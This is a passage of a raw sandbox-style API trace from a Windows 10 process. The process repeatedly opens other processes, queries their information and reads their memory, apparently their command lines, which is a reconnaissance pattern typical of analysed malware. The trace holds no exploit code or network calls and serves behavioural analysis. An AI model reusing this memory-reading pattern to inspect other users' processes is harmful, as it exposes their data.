_Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0293.594] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10ac) returned 0x16c [0293.594] GetLastError () returned 0x0 [0293.594] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0293.594] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2cd018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0293.595] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0293.595] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x481c70, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0293.595] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4818f8, lpBuffer=0x2dc22fc240, nSize=0x3e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0293.596] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0293.598] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0293.598] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2cd020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0293.598] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4812e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0293.598] malloc (_Size=0x46) returned 0x20abc27cb20 [0293.598] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x481936, lpBuffer=0x20abc27cb20, nSize=0x44, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc27cb20*, lpNumberOfBytesRead=0x0) returned 1 [0293.599] free (_Block=0x20abc27cb20) [0293.599] CloseHandle (hObject=0x16c) returned 1 [0293.600] _ui64tow_s (in: _Value=0x10b8, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4280") returned 0x0 [0293.604] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4280") returned 4 [0293.607] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0293.607] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0293.624] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10b8) returned 0x16c [0293.624] GetLastError () returned 0x0 [0293.626] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0293.626] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x348018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0293.626] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0293.626] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x421ce0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0293.626] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4218f8, lpBuffer=0x2dc22fc240, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0293.628] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0293.629] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0293.629] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x348020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0293.630] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4212e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0293.630] malloc (_Size=0x6c) returned 0x20abc2831b0 [0293.630] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x42195c, lpBuffer=0x20abc2831b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0293.631] free (_Block=0x20abc2831b0) [0293.631] CloseHandle (hObject=0x16c) returned 1 [0293.632] _ui64tow_s (in: _Value=0x10c8, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4296") returned 0x0 [0293.640] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4296") returned 4 [0293.641] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0293.641] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0293.656] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10c8) returned 0x16c [0293.656] GetLastError () returned 0x0 [0293.657] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0293.657] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x581018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0293.658] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0293.658] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x291cb0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0293.658] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2918f8, lpBuffer=0x2dc22fc240, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0293.659] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0293.660] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0293.660] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x581020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0293.661] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2912e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0293.661] malloc (_Size=0x60) returned 0x20abc2803e0 [0293.661] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x291950, lpBuffer=0x20abc2803e0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2803e0*, lpNumberOfBytesRead=0x0) returned 1 [0293.661] free (_Block=0x20abc2803e0) [0293.662] CloseHandle (hObject=0x16c) returned 1 [0293.662] _ui64tow_s (in: _Value=0x10dc, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4316") returned 0x0 [0293.666] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4316") returned 4 [0293.667] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0293.667] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0293.791] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10dc) returned 0x16c [0293.792] GetLastError () returned 0x0 [0293.792] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0293.792] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2c5018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0293.792] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0293.793] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x451d00, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0293.793] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4518f8, lpBuffer=0x2dc22fc240, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0293.794] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0293.795] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0293.795] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2c5020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0293.795] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4512e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0293.795] malloc (_Size=0x76) returned 0x20abc282120 [0293.796] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x451966, lpBuffer=0x20abc282120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0293.797] free (_Block=0x20abc282120) [0293.798] CloseHandle (hObject=0x16c) returned 1 [0293.798] _ui64tow_s (in: _Value=0x10fc, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4348") returned 0x0 [0293.802] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4348") returned 4 [0293.803] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0293.803] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0293.958] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10fc) returned 0x16c [0293.958] GetLastError () returned 0x0 [0293.958] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0293.958] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4526018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0293.959] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0293.959] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2d1e40, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0293.959] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2d19f8, lpBuffer=0x2dc22fc240, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0293.960] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0293.961] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0293.961] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4526020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0293.962] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2d13e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0293.962] malloc (_Size=0xba) returned 0x20abc284e70 [0293.962] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2d1a64, lpBuffer=0x20abc284e70, nSize=0xb8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284e70*, lpNumberOfBytesRead=0x0) returned 1 [0293.963] free (_Block=0x20abc284e70) [0293.964] CloseHandle (hObject=0x16c) returned 1 [0293.965] _ui64tow_s (in: _Value=0x11a8, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4520") returned 0x0 [0293.968] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4520") returned 4 [0293.969] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0293.969] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0293.982] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11a8) returned 0x16c [0293.983] GetLastError () returned 0x0 [0293.984] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0293.984] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2dc20b8018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0293.984] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0293.984] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x20abba21bd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0293.984] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x20abba21818, lpBuffer=0x2dc22fc240, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0293.985] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0293.986] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0293.986] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2dc20b8020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0293.987] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x20abba21200, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0293.987] malloc (_Size=0x76) returned 0x20abc282120 [0293.987] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x20abba21864, lpBuffer=0x20abc282120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0293.988] free (_Block=0x20abc282120) [0293.988] CloseHandle (hObject=0x16c) returned 1 [0293.988] _ui64tow_s (in: _Value=0xc34, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3124") returned 0x0 [0293.992] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3124") returned 4 [0293.993] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0293.993] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0294.116] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc34) returned 0x0 [0294.116] CloseHandle (hObject=0x0) returned 0 [0294.117] _ui64tow_s (in: _Value=0x4e8, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="1256") returned 0x0 [0294.121] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="1256") returned 4 [0294.122] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0294.122] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0294.134] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4e8) returned 0x16c [0294.134] GetLastError () returned 0x0 [0294.136] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0294.136] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3d9018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0294.136] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0294.136] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4f1c80, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0294.136] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4f18c8, lpBuffer=0x2dc22fc240, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0294.137] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0294.139] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0294.139] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3d9020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0294.139] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4f12b0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0294.139] malloc (_Size=0x58) returned 0x20abc2a78a0 [0294.139] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4f191e, lpBuffer=0x20abc2a78a0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a78a0*, lpNumberOfBytesRead=0x0) returned 1 [0294.140] free (_Block=0x20abc2a78a0) [0294.141] CloseHandle (hObject=0x16c) returned 1 [0294.141] _ui64tow_s (in: _Value=0xbf4, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3060") returned 0x0 [0294.145] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3060") returned 4 [0294.146] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0294.146] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0294.203] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbf4) returned 0x16c [0294.203] GetLastError () returned 0x0 [0294.205] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0294.205] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x36f018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0294.205] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0294.205] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x701dc0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0294.205] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x701a58, lpBuffer=0x2dc22fc240, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0294.206] 